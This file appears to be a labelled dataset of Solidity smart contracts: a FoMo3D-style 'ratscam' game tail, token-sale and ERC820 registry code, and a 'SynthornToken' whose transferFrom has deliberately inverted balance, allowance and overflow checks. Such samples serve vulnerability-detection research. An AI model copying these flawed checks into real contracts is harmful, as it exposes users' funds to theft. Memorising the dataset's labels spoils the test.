emit RSEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _pID, _aff, now);
} else {
_com += _aff;
}
adminAddress.transfer(_com);
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_)) / 100;
uint256 _air = (_eth / 20);
airDropPot_ = airDropPot_.add(_air);
uint256 _pot = (_eth.mul(20) / 100);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit RSEvents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == adminAddress,
"only owner can activate"
);
require(activated_ == false, "ratscam already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now - rndGap_;
round_[1].end = now + rndInit_;
}
}
library RSdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 laff;
uint256 lrnd;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
}
}
library RSKeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface RatBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
} | 0 | 1,995 |
pragma solidity ^0.6.2;
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.0;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity 0.6.12;
contract BigBag {
using SafeERC20 for IERC20;
address payable dao = 0x28A3D3467A3198D1bb5311836036D53c3C64b999;
address public dao_agent = 0x8c3ad3580A8635e236ccE26D2851AAf10401E262;
IERC20 public xrt = IERC20(0x7dE91B204C1C737bcEe6F000AAA6569Cf7061cb7);
uint256 public amount_wei = 99 ether;
uint256 public amount_wn = 4036697247706;
function buy() payable external {
require(msg.value == amount_wei, "transaction value does not match");
xrt.safeTransferFrom(dao_agent, msg.sender, amount_wn);
dao.call{gas: 50000, value: msg.value}("");
require(address(this).balance == 0, "transfer is not complete");
}
} | 1 | 3,703 |
pragma solidity ^0.4.10;
contract ForeignToken {
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
}
contract SynthornToken {
address owner = msg.sender;
uint256 startTime = block.timestamp;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalContribution = 0;
uint256 public totalSupply = 0;
function name() constant returns (string) { return "Synthetic Rhino Horn Aphrodisiac Token"; }
function symbol() constant returns (string) { return "HORN"; }
function decimals() constant returns (uint8) { return 18; }
function balanceOf(address _owner) constant returns (uint256) { return balances[_owner]; }
function transfer(address _to, uint256 _value) returns (bool success) {
require(msg.data.length >= (2 * 32) + 4);
if (_value == 0) { return false; }
uint256 fromBalance = balances[msg.sender];
bool sufficientFunds = fromBalance >= _value;
bool overflowed = balances[_to] + _value < balances[_to];
if (sufficientFunds && !overflowed) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(msg.data.length < (3 * 32) + 4);
if (_value == 0) { return false; }
uint256 fromBalance = balances[_from];
uint256 allowance = allowed[_from][msg.sender];
bool sufficientFunds = fromBalance <= _value;
bool sufficientAllowance = allowance <= _value;
bool overflowed = balances[_to] + _value > balances[_to];
if (sufficientFunds && sufficientAllowance && !overflowed) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function approve(address _spender, uint256 _value) returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function purchasingAllowed() constant returns (bool) {
return block.timestamp <= startTime + 30 days;
}
function withdrawForeignTokens(address _tokenContract) returns (bool) {
require(msg.sender == owner);
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function getStats() constant returns (uint256, uint256, bool) {
return (totalContribution, totalSupply, purchasingAllowed());
}
function() payable {
require(purchasingAllowed());
require(msg.value > 0);
owner.transfer(msg.value);
totalContribution += msg.value;
uint256 tokensIssued = (msg.value * 1000000);
totalSupply += tokensIssued;
balances[msg.sender] += tokensIssued;
Transfer(address(this), msg.sender, tokensIssued);
}
} | 0 | 695 |
pragma solidity 0.4.24;
interface ERC820ImplementerInterface {
function canImplementInterfaceForAddress(bytes32 interfaceHash, address addr) external view returns(bytes32);
}
contract ERC820Registry {
bytes4 constant INVALID_ID = 0xffffffff;
bytes4 constant ERC165ID = 0x01ffc9a7;
bytes32 constant ERC820_ACCEPT_MAGIC = keccak256(abi.encodePacked("ERC820_ACCEPT_MAGIC"));
mapping (address => mapping(bytes32 => address)) interfaces;
mapping (address => address) managers;
mapping (address => mapping(bytes4 => bool)) erc165Cached;
event InterfaceImplementerSet(address indexed addr, bytes32 indexed interfaceHash, address indexed implementer);
event ManagerChanged(address indexed addr, address indexed newManager);
function getInterfaceImplementer(address _addr, bytes32 _interfaceHash) external view returns (address) {
address addr = _addr == 0 ? msg.sender : _addr;
if (isERC165Interface(_interfaceHash)) {
bytes4 erc165InterfaceHash = bytes4(_interfaceHash);
return implementsERC165Interface(addr, erc165InterfaceHash) ? addr : 0;
}
return interfaces[addr][_interfaceHash];
}
function setInterfaceImplementer(address _addr, bytes32 _interfaceHash, address _implementer) external {
address addr = _addr == 0 ? msg.sender : _addr;
require(getManager(addr) == msg.sender, "Not the manager");
require(!isERC165Interface(_interfaceHash), "Must not be a ERC165 hash");
if (_implementer != 0 && _implementer != msg.sender) {
require(
ERC820ImplementerInterface(_implementer)
.canImplementInterfaceForAddress(_interfaceHash, addr) == ERC820_ACCEPT_MAGIC,
"Does not implement the interface"
);
}
interfaces[addr][_interfaceHash] = _implementer;
emit InterfaceImplementerSet(addr, _interfaceHash, _implementer);
}
function setManager(address _addr, address _newManager) external {
require(getManager(_addr) == msg.sender, "Not the manager");
managers[_addr] = _newManager == _addr ? 0 : _newManager;
emit ManagerChanged(_addr, _newManager);
}
function getManager(address _addr) public view returns(address) {
if (managers[_addr] == 0) {
return _addr;
} else {
return managers[_addr];
}
}
function interfaceHash(string _interfaceName) external pure returns(bytes32) {
return keccak256(abi.encodePacked(_interfaceName));
}
function updateERC165Cache(address _contract, bytes4 _interfaceId) external {
interfaces[_contract][_interfaceId] = implementsERC165InterfaceNoCache(_contract, _interfaceId) ? _contract : 0;
erc165Cached[_contract][_interfaceId] = true;
}
function implementsERC165Interface(address _contract, bytes4 _interfaceId) public view returns (bool) {
if (!erc165Cached[_contract][_interfaceId]) {
return implementsERC165InterfaceNoCache(_contract, _interfaceId);
}
return interfaces[_contract][_interfaceId] == _contract;
}
function implementsERC165InterfaceNoCache(address _contract, bytes4 _interfaceId) public view returns (bool) {
uint256 success;
uint256 result;
(success, result) = noThrowCall(_contract, ERC165ID);
if (success == 0 || result == 0) {
return false;
}
(success, result) = noThrowCall(_contract, INVALID_ID);
if (success == 0 || result != 0) {
return false;
}
(success, result) = noThrowCall(_contract, _interfaceId);
if (success == 1 && result == 1) {
return true;
}
return false;
}
function isERC165Interface(bytes32 _interfaceHash) internal pure returns (bool) {
return _interfaceHash & 0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0;
}
function noThrowCall(address _contract, bytes4 _interfaceId)
internal view returns (uint256 success, uint256 result)
{
bytes4 erc165ID = ERC165ID;
assembly {
let x := mload(0x40)
mstore(x, erc165ID)
mstore(add(x, 0x04), _interfaceId)
success := staticcall(
30000,
_contract,
x,
0x08,
x,
0x20
)
result := mload(x)
}
}
} | 1 | 2,182 |
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